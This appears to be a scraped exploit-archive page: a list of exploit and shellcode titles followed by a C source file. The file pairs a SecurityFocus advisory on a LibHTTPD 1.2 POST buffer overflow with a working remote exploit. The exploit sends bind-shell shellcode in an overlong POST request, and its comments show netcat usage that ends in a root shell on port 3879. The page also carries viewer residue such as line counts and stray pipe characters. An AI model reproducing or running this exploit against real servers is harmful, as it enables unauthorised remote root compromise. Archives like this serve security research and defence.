880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
60 lines
No EOL
2 KiB
C
60 lines
No EOL
2 KiB
C
// source: https://www.securityfocus.com/bid/6172/info
|
|
|
|
LibHTTPD is vulnerable to a buffer overflow condition. By passing a POST request of excessive length, it is possible to overrun a static buffer. This may result in sensitive locations in memory being overwritten by attacker-supplied values.
|
|
|
|
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary code with super user privileges.
|
|
|
|
It should be noted that this vulnerability was reported in LibHTTPD v1.2. It is not yet known whether earlier versions are affected.
|
|
|
|
/*
|
|
**
|
|
** Lib HTTPd Remote Buffer Overflow exploit
|
|
** by Xpl017Elz
|
|
** __
|
|
** Testing exploit:
|
|
**
|
|
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
|
|
**
|
|
** (Ctrl+c)
|
|
** punt!
|
|
** bash$ nc libhttphost 3879
|
|
** uname
|
|
** Linux
|
|
** id
|
|
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
|
|
** 3(sys),4(adm),6(disk),10(wheel)
|
|
** exit
|
|
** bash$
|
|
**
|
|
** --
|
|
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
|
|
** My World: http://x82.i21c.net
|
|
**
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
int main(/* args? */)
|
|
{
|
|
int shadd2r;
|
|
char b1ndsh[] = /* 129byte bindshellcode */
|
|
"\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
|
|
"\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
|
|
"\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
|
|
"\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
|
|
"\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
|
|
"\377\377/bin/sh";
|
|
//--- POST &shellcode ---//
|
|
fprintf(stdout,"POST ");
|
|
for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
|
|
{/* rEDhAT Default: 0x804e482,
|
|
Debian Address? */
|
|
fprintf(stdout,"\202\344\004\b");
|
|
}
|
|
fprintf(stdout,"\r\n");
|
|
//--- NOP,shellcode ---//
|
|
for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
|
|
{/* SSSSSSSS...SSSSSSSSS;;; */
|
|
fprintf(stdout,"S");
|
|
}
|
|
fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
|
|
} |